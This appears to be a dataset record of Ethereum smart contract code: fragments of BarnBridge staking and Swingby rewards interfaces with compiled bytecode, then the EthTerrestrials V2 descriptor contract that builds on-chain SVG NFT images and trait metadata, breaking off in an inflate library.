withdraw(uint256 amount) external; // lock a user's currently staked balance until timestamp & add the bonus to his voting power function lock(uint256 timestamp) external; // delegate allows a user to delegate his voting power to another user function delegate(address to) external; // stopDelegate allows a user to take back the delegated voting power function stopDelegate() external; // lock the balance of a proposal creator until the voting ends; only callable by DAO function lockCreatorBalance(address user, uint256 timestamp) external; // balanceOf returns the current BOND balance of a user (bonus not included) function balanceOf(address user) external view returns (uint256); // balanceAtTs returns the amount of BOND that the user currently staked (bonus NOT included) function balanceAtTs(address user, uint256 timestamp) external view returns (uint256); // stakeAtTs returns the Stake object of the user that was valid at `timestamp` function stakeAtTs(address user, uint256 timestamp) external view returns (LibBarnStorage.Stake memory); // votingPower returns the voting power (bonus included) + delegated voting power for a user at the current block function votingPower(address user) external view returns (uint256); // votingPowerAtTs returns the voting power (bonus included) + delegated voting power for a user at a point in time function votingPowerAtTs(address user, uint256 timestamp) external view returns (uint256); // bondStaked returns the total raw amount of BOND staked at the current block function bondStaked() external view returns (uint256); // bondStakedAtTs returns the total raw amount of BOND users have deposited into the contract // it does not include any bonus function bondStakedAtTs(uint256 timestamp) external view returns (uint256); // delegatedPower returns the total voting power that a user received from other users function delegatedPower(address user) external view returns (uint256); // delegatedPowerAtTs returns the total voting power that a user received from other users at a point in time function delegatedPowerAtTs(address user, uint256 timestamp) external view returns (uint256); // multiplierAtTs calculates the multiplier at a given timestamp based on the user's stake a the given timestamp // it includes the decay mechanism function multiplierAtTs(address user, uint256 timestamp) external view returns (uint256); // userLockedUntil returns the timestamp until the user's balance is locked function userLockedUntil(address user) external view returns (uint256); // userDidDelegate returns the address to which a user delegated their voting power; address(0) if not delegated function userDelegatedTo(address user) external view returns (address); // bondCirculatingSupply returns the current circulating supply of BOND function bondCirculatingSupply() external view returns (uint256); } pragma solidity 0.7.6; interface ISwapContract { function getActiveNodes() external returns (address[] memory); function isNodeStake(address _user) external returns (bool); function lpToken() external returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IRewards.sol"; library LibBarnStorage { bytes32 constant STORAGE_POSITION = keccak256("com.barnbridge.barn.storage"); struct Checkpoint { uint256 timestamp; uint256 amount; } struct Stake { uint256 timestamp; uint256 amount; uint256 expiryTimestamp; address delegatedTo; } struct NodeInfo { bytes32 p2pkey; uint8 dataType; } struct Storage { bool initialized; // mapping of user address to history of Stake objects // every user action creates a new object in the history mapping(address => Stake[]) userStakeHistory; // array of bond staked Checkpoint // deposits/withdrawals create a new object in the history (max one per block) Checkpoint[] bondStakedHistory; // mapping of user address to history of delegated power // every delegate/stopDelegate call create a new checkpoint (max one per block) mapping(address => Checkpoint[]) delegatedPowerHistory; // mapping of user address to <p2pkey,dataType> for swingby node. (no history) mapping(address => NodeInfo) nodeInfo; IERC20 bond; IRewards rewards; } function barnStorage() internal pure returns (Storage storage ds) { bytes32 position = STORAGE_POSITION; assembly { ds.slot := position } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; interface IRewards { function registerUserAction(address user) external; function setNewAPR(uint256 _apr) external; }
0x608060405234801561001057600080fd5b50600436106101775760003560e01c80638ca0a7e5116100d8578063acfd93251161008c578063ee07080511610066578063ee07080514610285578063f2fde38b1461028d578063f7c618c1146102a057610177565b8063acfd932514610257578063b1a03b6b1461025f578063df18e0471461027257610177565b80638ea83031116100bd5780638ea830311461023257806394b5798a1461023a578063a96adec21461024257610177565b80638ca0a7e5146102225780638da5cb5b1461022a57610177565b80635168e5441161012f5780636fbaaa1e116101145780636fbaaa1e146101ff578063715018a6146102075780638a8a6f591461020f57610177565b80635168e544146101e457806357ded9c9146101f757610177565b80631ed64040116101605780631ed64040146101af5780634831976c146101c45780634e71d92d146101dc57610177565b8063100223bb1461017c578063194f480e1461019a575b600080fd5b6101846102a8565b604051610191919061187c565b60405180910390f35b6101a26102ae565b6040516101919190611482565b6101c26101bd366004611311565b6102bd565b005b6101cc610393565b60405161019194939291906114d3565b6101846103ae565b6101c26101f2366004611452565b610523565b6101846106e9565b6101846106ef565b6101c26106f5565b6101c261021d366004611349565b6107cb565b6101846109d5565b6101a26109db565b6101a26109ea565b6101846109f9565b61024a6109ff565b60405161019191906114f9565b6101c2610bac565b61018461026d3660046112f5565b610ceb565b6101846102803660046112f5565b610cfd565b61024a610d0f565b6101c261029b3660046112f5565b610d30565b6101a2610e5c565b60055481565b600c546001600160a01b031681565b6001600160a01b0382166102ec5760405162461bcd60e51b81526004016102e390611754565b60405180910390fd5b6001600160a01b0381166103125760405162461bcd60e51b81526004016102e390611504565b61031a6109db565b6001600160a01b0316336001600160a01b03161461034a5760405162461bcd60e51b81526004016102e390611845565b600d80546001600160a01b039283167fffffffffffffffffffffffff000000000000000000000000000000000000000091821617909155600c8054939092169216919091179055565b6001546002546003546004546001600160a01b039093169284565b60006103b86109ff565b6103d45760405162461bcd60e51b81526004016102e390611689565b6103dd33610e80565b336000908152600b60205260409020548061040a5760405162461bcd60e51b81526004016102e390611652565b336000818152600b602052604080822091909155517fa9059cbb0000000000000000000000000000000000000000000000000000000081527f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a6001600160a01b03169163a9059cbb9161048291908590600401611496565b602060405180830381600087803b15801561049c57600080fd5b505af11580156104b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d49190611432565b506104dd610bac565b336001600160a01b03167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d482604051610516919061187c565b60405180910390a2905090565b61052b6109db565b6001600160a01b0316336001600160a01b03161461055b5760405162461bcd60e51b81526004016102e390611845565b610563610ef3565b61056b610bac565b6006819055806106e6576001546040517f70a082310000000000000000000000000000000000000000000000000000000081526000916001600160a01b037f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a8116926370a08231926105e1921690600401611482565b60206040518083038186803b1580156105f957600080fd5b505afa15801561060d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610631919061146a565b6001549091506001600160a01b037f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a8116916323b872dd91166106726109db565b846040518463ffffffff1660e01b8152600401610691939291906114af565b602060405180830381600087803b1580156106ab57600080fd5b505af11580156106bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190611432565b50505b50565b60065481565b60085481565b6106fd61107e565b6001600160a01b031661070e6109db565b6001600160a01b031614610769576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6107d36109db565b6001600160a01b0316336001600160a01b0316146108035760405162461bcd60e51b81526004016102e390611845565b60005474010000000000000000000000000000000000000000900460ff161561083e5760405162461bcd60e51b81526004016102e3906116c0565b6301e1338061084d8284611082565b1461086a5760405162461bcd60e51b81526004016102e39061161b565b6001546001600160a01b0316156108e6576001600160a01b038316156108a25760405162461bcd60e51b81526004016102e390611561565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000017905561090c565b6001600160a01b03831661090c5760405162461bcd60e51b81526004016102e3906115be565b6001600160a01b03831661095b5781156109385760405162461bcd60e51b81526004016102e39061178b565b80156109565760405162461bcd60e51b81526004016102e3906117e8565b61097a565b81811161097a5760405162461bcd60e51b81526004016102e3906116f7565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038516179055600282905560038190556109c18183611082565b6004556005548211156106e3575060055550565b60095481565b6000546001600160a01b031690565b600d546001600160a01b031681565b60075481565b600080600d60009054906101000a90046001600160a01b03166001600160a01b0316636b51e9196040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052610aac919081019061137d565b90506000805b8251811015610b9757600c548351610b5b916001600160a01b0316906370a0823190869085908110610ae057fe5b60200260200101516040518263ffffffff1660e01b8152600401610b049190611482565b60206040518083038186803b158015610b1c57600080fd5b505afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b54919061146a565b83906110e4565b9150828181518110610b6957fe5b60200260200101516001600160a01b0316336001600160a01b03161415610b8f57600193505b600101610ab2565b508060095414610ba75760098190555b505090565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526000906001600160a01b037f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a16906370a0823190610c14903090600401611482565b60206040518083038186803b158015610c2c57600080fd5b505afa158015610c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c64919061146a565b9050801580610c7557506007548111155b15610c8257600755610ce9565b600954610c8f5750610ce9565b6000610ca66007548361108290919063ffffffff16565b90506000610cdd610cd4600954610cce670de0b6b3a76400008661114590919063ffffffff16565b9061119e565b600854906110e4565b60079390935550506008555b565b600a6020526000908152604090205481565b600b6020526000908152604090205481565b60005474010000000000000000000000000000000000000000900460ff1681565b610d3861107e565b6001600160a01b0316610d496109db565b6001600160a01b031614610da4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610de95760405162461bcd60e51b815260040180806020018281038252602681526020018061189b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b7f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a81565b610e88610ef3565b610e90610bac565b6000610e9b82611205565b6001600160a01b0383166000908152600b6020526040902054909150610ec190826110e4565b6001600160a01b039092166000908152600b6020908152604080832094909455600854600a9091529290209190915550565b6001546001600160a01b03161580610f0c575060025442105b15610f1657610ce9565b60035442811115610f245750425b8060055410610f335750610ce9565b6000610f4a6005548361108290919063ffffffff16565b600454909150610f5a90826110e4565b600455600654600954600091610f7791606491610cce9190611145565b600454909150600090610f9690610cce85670de0b6b3a7640000611145565b90506000610fb0670de0b6b3a7640000610cce8585611145565b426005556001546040517f23b872dd0000000000000000000000000000000000000000000000000000000081529192506001600160a01b037f0000000000000000000000008287c7b963b405b7b8d467db9d79eec40625b13a8116926323b872dd92611024921690309086906004016114af565b602060405180830381600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110769190611432565b505050505050565b3390565b6000828211156110d9576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b60008282018381101561113e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600082611154575060006110de565b8282028284828161116157fe5b041461113e5760405162461bcd60e51b81526004018080602001828103825260218152602001806118c16021913960400191505060405180910390fd5b60008082116111f4576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816111fd57fe5b049392505050565b6001600160a01b0381166000908152600a6020526040812054600854829161122d9190611082565b600c546040517f70a082310000000000000000000000000000000000000000000000000000000081529192506112e191670de0b6b3a764000091610cce9185916001600160a01b0316906370a082319061128b908a90600401611482565b60206040518083038186803b1580156112a357600080fd5b505afa1580156112b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112db919061146a565b90611145565b9150505b919050565b80516112e581611885565b600060208284031215611306578081fd5b813561113e81611885565b60008060408385031215611323578081fd5b823561132e81611885565b9150602083013561133e81611885565b809150509250929050565b60008060006060848603121561135d578081fd5b833561136881611885565b95602085013595506040909401359392505050565b6000602080838503121561138f578182fd5b825167ffffffffffffffff808211156113a6578384fd5b818501915085601f8301126113b9578384fd5b8151818111156113c557fe5b838102604051858282010181811085821117156113de57fe5b604052828152858101935084860182860187018a10156113fc578788fd5b8795505b8386101561142557611411816112ea565b855260019590950194938601938601611400565b5098975050505050505050565b600060208284031215611443578081fd5b8151801515811461113e578182fd5b600060208284031215611463578081fd5b5035919050565b60006020828403121561147b578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b901515815260200190565b60208082526025908201527f7377617020636f6e74726163742061646472657373206d757374206e6f74206260408201527f6520307830000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f636f6e747261637420697320616c7265616479207365742075702c20736f757260408201527f6365206d75737420626520307830000000000000000000000000000000000000606082015260800190565b6020808252602c908201527f636f6e7472616374206973206e6f742073657475702c20736f75726365206d7560408201527f737420626520213d203078300000000000000000000000000000000000000000606082015260800190565b6020808252601b908201527f656e6454732e73756228737461727454732920213d2031796561720000000000604082015260600190565b60208082526010908201527f6e6f7468696e6720746f20636c61696d00000000000000000000000000000000604082015260600190565b60208082526012908201527f63616c6c6572206973206e6f74206e6f64650000000000000000000000000000604082015260600190565b60208082526014908201527f636f6e74726163742069732064697361626c6564000000000000000000000000604082015260600190565b60208082526032908201527f736574757020636f6e74726163743a20656e645473206d75737420626520677260408201527f6561746572207468616e20737461727454730000000000000000000000000000606082015260800190565b6020808252601c908201527f6261726e2061646472657373206d757374206e6f742062652030783000000000604082015260600190565b60208082526023908201527f64697361626c6520636f6e74726163743a2073746172745473206d757374206260408201527f6520300000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526021908201527f64697361626c6520636f6e74726163743a20656e645473206d7573742062652060408201527f3000000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526006908201527f216f776e65720000000000000000000000000000000000000000000000000000604082015260600190565b90815260200190565b6001600160a01b03811681146106e657600080fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220cd5f192a0bd6b302fac09ddc738bbf64bcce52159f5d9dfa5f0440cacc398f1864736f6c63430007060033
[ 16, 4, 9, 7 ]
0xF30448D4Cff17e02656FC6575C4C64417191adBC
// SPDX-License-Identifier: MIT /// @title ETHTerrestrials by Kye descriptor (v2) /// @notice Image and traits stored on-chain and assembled by this contract pragma solidity ^0.8.0; import "./InflateLib.sol"; import "./Strings.sol"; import "./Base64.sol"; import "@0xsequence/sstore2/contracts/SSTORE2.sol"; interface Terraforms { function tokenSVG(uint256 tokenId) external view returns (string memory); } contract EthTerrestrialsV2Descriptor { using Strings for uint256; using InflateLib for bytes; /// @notice Storage entry for a trait type (category) struct TraitType { string name; //the name of the category (i.e., 'Clothes') uint16[] rarity; //the rarity table is mapped to each Trait in a TraitType and should be provided as an array of desired occurrences out of 1000 samples. E.g.: [500,200,200,100,100]. 0 rarity indicates that the trait will not occur naturally. } mapping(uint8 => TraitType) public traitTypes; /* Note: Certain layers have only one trait - left in code for consistency/future projects * 0 position will be null for certain traits * Trait Types: * 0: Background * 1: Hoodie Back * 2: Head Color * 3: Head Outline * 4: Ears * 5: Mouths * 6: Eyes * 7: Head Accessories * 8: Apparel * 9: Front */ mapping(uint8 => bool) hiddentrait; //No need to display metadta for certain layers. /// @notice Storage entry for a single trait/custom token struct Trait { address imageStore; //SSTORE2 storage location for SVG image data, compressed using DEFLATE (python zlib). Header (first 2 bytes) and checksum (last 4 bytes) truncated. uint96 imagelen; //The length of the uncomressed image date (required for decompression). string name; //the name of the trait (i.e. "grey hoodie") or custom image. } /// @notice Storage entry for non-allowed trait combinations and rearranged traits struct TraitDescriptor { uint8 traitType; uint8 trait; } /// @notice Key: keccak hash of trait type and trait index for which there are non-allowed trait combinations mapping(bytes32 => TraitDescriptor[]) public traitExclusions; /// @notice Key: keccak hash of trait type and trait index that should be placed below any traits in list mapping(bytes32 => TraitDescriptor[]) public traitRearrangement; /// @notice A mapping of traits in the format traits[traitType][trait number]. The ordering of trait types corresponds to traitTypes (above). mapping(uint8 => mapping(uint8 => Trait)) public traits; /// @notice A mapping of custom tokenIds that contain custom tokens. mapping(uint256 => Trait) public customs; /// @notice Permanently seals the metadata in the contract from being modified by deployer. bool public contractsealed; string private SVGOpenTag = '<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 1100 1100" style="enable-background:new 0 0 1100 1100" xml:space="preserve" xmlns:xlink="http://www.w3.org/1999/xlink">'; address private deployer; Terraforms public terraforms = Terraforms(0x4E1f41613c9084FdB9E34E11fAE9412427480e56); modifier onlyDeployerWhileUnsealed() { require(!contractsealed && msg.sender == deployer, "Not authorized or locked"); _; } constructor() public { deployer = msg.sender; } /* .___ ___. _______ .___________. ___ _______ ___ .___________. ___ | \/ | | ____|| | / \ | \ / \ | | / \ | \ / | | |__ `---| |----` / ^ \ | .--. | / ^ \ `---| |----` / ^ \ | |\/| | | __| | | / /_\ \ | | | | / /_\ \ | | / /_\ \ | | | | | |____ | | / _____ \ | '--' | / _____ \ | | / _____ \ |__| |__| |_______| |__| /__/ \__\ |_______/ /__/ \__\ |__| /__/ \__\ */ /// @notice Returns an ERC721 standard tokenURI /// @param tokenId, the desired tokenId to display /// @param rawSeed, the raw seed code generated by the seeder contract following mint /// @param tokenType, the type of token (one of one or common) /// @return output, a base64 encoded JSON string containing the tokenURI (metadata and image) function generateTokenURI( uint256 tokenId, uint256 rawSeed, uint256 tokenType ) external view returns (string memory) { string memory name = string(abi.encodePacked("EtherTerrestrial #", tokenId.toString())); string memory description = "EtherTerrestrials are inter-dimensional Extra-Terrestrials who came to Earth's internet to infuse consciousness into all other pixelated Lifeforms. They can be encountered in the form of on-chain characters as interpreted by the existential explorer Kye."; //need to write string memory traits_json; string memory image; if (tokenType == 1) { //these tokens do not use a seed image = getSvgCustomToken(tokenId); traits_json = viewTraitsJSONCustom(tokenId); } else if (rawSeed == 0) { //if the seed is zero but not a one of one, the token must be unrevealed. Unrevealed image stored at custom index 69. image = getSvgCustomToken(69); description = "Unrevealed EtherTerrestrial - Refresh Soon"; traits_json = "[]"; } else { uint8[10] memory seed = processRawSeed(rawSeed); image = getSvgFromSeed(seed); traits_json = viewTraitsJSON(seed); } string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "', name, '", "description": "', description, '", "attributes":', traits_json, ',"image": "', "data:image/svg+xml;base64,", Base64.encode(bytes(image)), '"}' ) ) ) ); string memory output = string(abi.encodePacked("data:application/json;base64,", json)); return output; } /// @notice Converts a raw seed code into a list of traits /// @param rawSeed, the raw seed code generated by the seeder contract following mint /// @return seed, a uint8 array containing the finally assigned trait codes for each trait type /// @dev For generative tokens, raw seeds are handled according to the following workflow: /// 1. processRawSeed(): perform keccak operation over the raw seed and assign a rarity seed to each trait /// 2. generateSeedFromRarityTables(): runs the results of processRawSeed over rarity tables to determine the traits /// 3. enforceRequiredCombinations(): ensures that certain traits are matched with, or prohibited from being matched with certain others. function processRawSeed(uint256 rawSeed) public view returns (uint8[10] memory) { uint16[10] memory initialSeed; for (uint8 i = 0; i < 10; i++) { initialSeed[i] = uint16(uint256(keccak256(abi.encodePacked(rawSeed, i))) % 1000); } uint8[10] memory seed = generateSeedFromRarityTables(initialSeed); seed = enforceRequiredCombinations(seed); return seed; } /// @notice Converts an initial rarity seed to a list of traits /// @param initialSeed, the initial rarity seed for a given token /// @return seed, a uint8 array containing the trait code for each traitType function generateSeedFromRarityTables(uint16[10] memory initialSeed) internal view returns (uint8[10] memory) { uint8[10] memory seed; for (uint8 traitType; traitType < 10; traitType++) { uint16[] memory rarityTable = traitTypes[traitType].rarity; uint16 upperBound; for (uint8 index; index < rarityTable.length; index++) { upperBound += rarityTable[index]; if (initialSeed[traitType] < upperBound) { seed[traitType] = index; break; } } } return seed; } /// @notice Alters the seed to remove combinations that the artist has determined conflict with one another /// @param seed, the post-rarity allocated traits for a token /// @return the modified seed function enforceRequiredCombinations(uint8[10] memory seed) public view returns (uint8[10] memory) { for (uint8 i; i < seed.length; i++) { TraitDescriptor[] memory exclusions = traitExclusions[keccak256(abi.encodePacked(i, seed[i]))]; // check to see if seed contains any trait combinations that are not allowed for (uint8 j = 0; j < exclusions.length; j++) { // seed has a trait combination that is not allowed, remove combination if (seed[exclusions[j].traitType] == exclusions[j].trait) { seed[exclusions[j].traitType] = 0; } } } // Exclude all of a type for some traits if (seed[6] == 6) { seed[7] = 0; } else if (seed[8] == 1) { seed[7] = 0; } else if (seed[8] == 7) { seed[7] = 0; } else if (seed[8] == 8) { seed[7] = 0; } else if (seed[8] == 9) { seed[7] = 0; } //Add hoodie back if hoodie if (seed[8] == 3 || seed[8] == 4 || seed[8] == 6) { seed[1] = 1; } return seed; } /// @notice Generates an ERC721 standard metadata JSON string for generative tokens /// @param seed, the finally allocated traits for a token /// @return json, a JSON metadata string function viewTraitsJSON(uint8[10] memory seed) public view returns (string memory) { string[] memory jsonItems = new string[](11); for (uint8 traitType; traitType < 10; traitType++) { if (!hiddentrait[traitType]) { uint8 traitCode = seed[traitType]; string memory traitName = traits[traitType][traitCode].name; jsonItems[traitType] = string( abi.encodePacked( traitType == 0 ? '[{"trait_type":"' : ',{"trait_type":"', traitTypes[traitType].name, '","value":"', traitName, '"}' ) ); } } jsonItems[10] = ',{"trait_type":"Life Form","value":"Tripped"}]'; string memory json; for (uint256 i = 0; i < 11; i++) { json = string(abi.encodePacked(json, jsonItems[i])); } return json; } /// @notice Generates an ERC721 standard metadata JSON string for custom tokens /// @param tokenId, the desired tokenId /// @return a JSON metadata string function viewTraitsJSONCustom(uint256 tokenId) public view returns (string memory) { return string( abi.encodePacked( '[{"trait_type":"Cosmic Being","value":"', customs[tokenId].name, '"},{"trait_type":"Life Form","value":"Tripped"}]' ) ); } /// @notice Generates an unencoded SVG image for a given seed /// @param seed, the finally allocated traits for a token /// @return an SVG string function getSvgFromSeed(uint8[10] memory seed) public view returns (string memory) { string[10] memory SVG; for (uint8 traitType; traitType < 10; traitType++) { uint8 traitCode = seed[traitType]; // uint8.max means no rearrangement uint8 rearrangementIndex = type(uint8).max; TraitDescriptor[] memory rearrangements = traitRearrangement[keccak256(abi.encodePacked(traitType, traitCode))]; // check to see if this trait has any rearrangements for (uint8 i; i < rearrangements.length; i++) { // rearrangement found for these trait combinations if (seed[rearrangements[i].traitType] == rearrangements[i].trait) { rearrangementIndex = rearrangements[i].traitType; } } string memory image = traits[traitType][traitCode].imagelen != 0 ? getTraitSVG(traitType, traitCode) : ""; if (rearrangementIndex != type(uint8).max) { SVG[traitType] = SVG[rearrangementIndex]; SVG[rearrangementIndex] = image; } else { SVG[traitType] = image; } } string memory SVGStr; for (uint8 i; i < SVG.length; i++) { SVGStr = string(abi.encodePacked(SVGStr, SVG[i])); } return string(abi.encodePacked(SVGOpenTag, SVGStr, "</svg>")); } /// @notice Returns the unencoded SVG image for a given seed /// @param tokenId, the tokenId of the custom token /// @return an SVG string /// @dev token 104's background is an onchain composition of Terraform #3640 function getSvgCustomToken(uint256 tokenId) public view returns (string memory) { return string( abi.encodePacked( SVGOpenTag, tokenId == 104 ? '<defs><clipPath id="clipPath3"><circle cx="550" cy="550" r="500" /></clipPath></defs><g style="clip-path: url(#clipPath3);"><rect x="0" y="0" width="3000" height="3000" style="stroke: none; fill:none; clip-path: url(#clipPath3);" /><g xmlns="http://www.w3.org/2000/svg" transform="scale(1.51,1) translate(-178)">' : "", tokenId == 104 ? terraforms.tokenSVG(3640) : "", tokenId == 104 ? "</g></g>" : "", decompress(SSTORE2.read(customs[tokenId].imageStore), customs[tokenId].imagelen), "</svg>" ) ); } function getTraitSVG(uint8 traitType, uint8 traitCode) public view returns (string memory) { return decompress(SSTORE2.read(traits[traitType][traitCode].imageStore), traits[traitType][traitCode].imagelen); } function decompress(bytes memory input, uint256 len) public pure returns (string memory) { (, bytes memory decompressed) = InflateLib.puff(input, len); return string(decompressed); } /* _______ _______ .______ __ ______ ____ ____ _______ .______ | \ | ____|| _ \ | | / __ \ \ \ / / | ____|| _ \ | .--. || |__ | |_) | | | | | | | \ \/ / | |__ | |_) | | | | || __| | ___/ | | | | | | \_ _/ | __| | / | '--' || |____ | | | `----.| `--' | | | | |____ | |\ \----. |_______/ |_______|| _| |_______| \______/ |__| |_______|| _| `._____| */ /// @notice Establishes the 10 traitTypes function setTraitTypes(TraitType[] memory _traitTypes) external onlyDeployerWhileUnsealed { for (uint8 i; i < 10; i++) { traitTypes[i] = _traitTypes[i]; } } /// @notice Establishes traits for a single traitType function setTraits( uint8 _traitType, Trait[] memory _traits, uint8[] memory _traitNumber, bytes[] memory _images ) external onlyDeployerWhileUnsealed { require(_traits.length == _traitNumber.length && _traitNumber.length == _images.length, "Length Mismatch"); for (uint8 i; i < _traits.length; i++) { _traits[i].imageStore = SSTORE2.write(_images[i]); traits[_traitType][_traitNumber[i]] = _traits[i]; } } function setHiddenTraits(uint8[] memory _traitTypes, bool _hidden) external onlyDeployerWhileUnsealed { for (uint8 i; i < _traitTypes.length; i++) hiddentrait[_traitTypes[i]] = _hidden; } /// @notice Establishes the custom token art function setCustom( uint256[] memory _tokenIds, Trait[] memory _oneOfOnes, bytes[] memory _images ) external onlyDeployerWhileUnsealed { require(_tokenIds.length == _oneOfOnes.length); for (uint256 i; i < _oneOfOnes.length; i++) { _oneOfOnes[i].imageStore = SSTORE2.write(_images[i]); customs[_tokenIds[i]] = _oneOfOnes[i]; } } /// @notice Set a trait exclusion rule /// @param traitType, the trait type index /// @param trait, the trait index /// @param exclusions, all unallowed combinations function setTraitExclusions( uint8 traitType, uint8 trait, TraitDescriptor[] memory exclusions ) external onlyDeployerWhileUnsealed { bytes32 traitHash = keccak256(abi.encodePacked(traitType, trait)); delete traitExclusions[traitHash]; for (uint8 i = 0; i < exclusions.length; i++) { traitExclusions[traitHash].push(exclusions[i]); } } /// @notice Set a trait rearrangement rule /// @param traitType, the trait type index /// @param trait, the trait index /// @param rearrangements, all traits that should be placed above base trait function setTraitRearrangements( uint8 traitType, uint8 trait, TraitDescriptor[] memory rearrangements ) external onlyDeployerWhileUnsealed { bytes32 traitHash = keccak256(abi.encodePacked(traitType, trait)); delete traitRearrangement[traitHash]; for (uint8 i = 0; i < rearrangements.length; i++) { traitRearrangement[traitHash].push(rearrangements[i]); } } /// @notice IRREVERSIBLY SEALS THE CONTRACT FROM BEING MODIFIED function sealContract() external onlyDeployerWhileUnsealed { contractsealed = true; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity >=0.8.0 <0.9.0; /// https://github.com/adlerjohn/inflate-sol /// @notice Based on https://github.com/madler/zlib/blob/master/contrib/puff library InflateLib { // Maximum bits in a code uint256 constant MAXBITS = 15; // Maximum number of literal/length codes uint256 constant MAXLCODES = 286; // Maximum number of distance codes uint256 constant MAXDCODES = 30; // Maximum codes lengths to read uint256 constant MAXCODES = (MAXLCODES + MAXDCODES); // Number of fixed literal/length codes uint256 constant FIXLCODES = 288; // Error codes enum ErrorCode { ERR_NONE, // 0 successful inflate ERR_NOT_TERMINATED, // 1 available inflate data did not terminate ERR_OUTPUT_EXHAUSTED, // 2 output space exhausted before completing inflate ERR_INVALID_BLOCK_TYPE, // 3 invalid block type (type == 3) ERR_STORED_LENGTH_NO_MATCH, // 4 stored block length did not match one's complement ERR_TOO_MANY_LENGTH_OR_DISTANCE_CODES, // 5 dynamic block code description: too many length or distance codes ERR_CODE_LENGTHS_CODES_INCOMPLETE, // 6 dynamic block code description: code lengths codes incomplete ERR_REPEAT_NO_FIRST_LENGTH, // 7 dynamic block code description: repeat lengths with no first length ERR_REPEAT_MORE, // 8 dynamic block code description: repeat more than specified lengths ERR_INVALID_LITERAL_LENGTH_CODE_LENGTHS, // 9 dynamic block code description: invalid literal/length code lengths ERR_INVALID_DISTANCE_CODE_LENGTHS, // 10 dynamic block code description: invalid distance code lengths ERR_MISSING_END_OF_BLOCK, // 11 dynamic block code description: missing end-of-block code ERR_INVALID_LENGTH_OR_DISTANCE_CODE, // 12 invalid literal/length or distance code in fixed or dynamic block ERR_DISTANCE_TOO_FAR, // 13 distance is too far back in fixed or dynamic block ERR_CONSTRUCT // 14 internal: error in construct() } // Input and output state struct State { ////////////////// // Output state // ////////////////// // Output buffer bytes output; // Bytes written to out so far uint256 outcnt; ///////////////// // Input state // ///////////////// // Input buffer bytes input; // Bytes read so far uint256 incnt; //////////////// // Temp state // //////////////// // Bit buffer uint256 bitbuf; // Number of bits in bit buffer uint256 bitcnt; ////////////////////////// // Static Huffman codes // ////////////////////////// Huffman lencode; Huffman distcode; } // Huffman code decoding tables struct Huffman { uint256[] counts; uint256[] symbols; } function bits(State memory s, uint256 need) private pure returns (ErrorCode, uint256) { // Bit accumulator (can use up to 20 bits) uint256 val; // Load at least need bits into val val = s.bitbuf; while (s.bitcnt < need) { if (s.incnt == s.input.length) { // Out of input return 